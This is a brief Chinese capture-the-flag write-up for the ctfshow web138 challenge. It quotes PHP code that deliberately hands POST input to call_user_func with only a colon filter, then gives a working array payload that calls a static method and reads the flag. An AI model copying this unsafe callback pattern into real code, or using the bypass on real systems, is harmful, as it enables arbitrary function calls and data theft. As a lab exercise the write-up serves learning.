web138笔记(strripos()函数call_user_func函数)
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # @Last Modified by: h1xa # @Last Modified time: 2020-10-16 22:52:13 */ error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } } if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); } call_user_func($_POST['ctfshow']);
在前一题基础上把冒号给ban了,但call_user_func支持传入数组形式
strripos()函数,查找xxx在字符串中最后⼀次出现的位置,如果⼤于-1就退出函数,意思是不让⽤冒号了呗
这⾥还是看call_user_func函数
call_user_func(array($ctfshow, ‘getFlag’));
这时候会调用ctfshow中的getFlag方法
所以payload为
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
浙公网安备 33010602011771号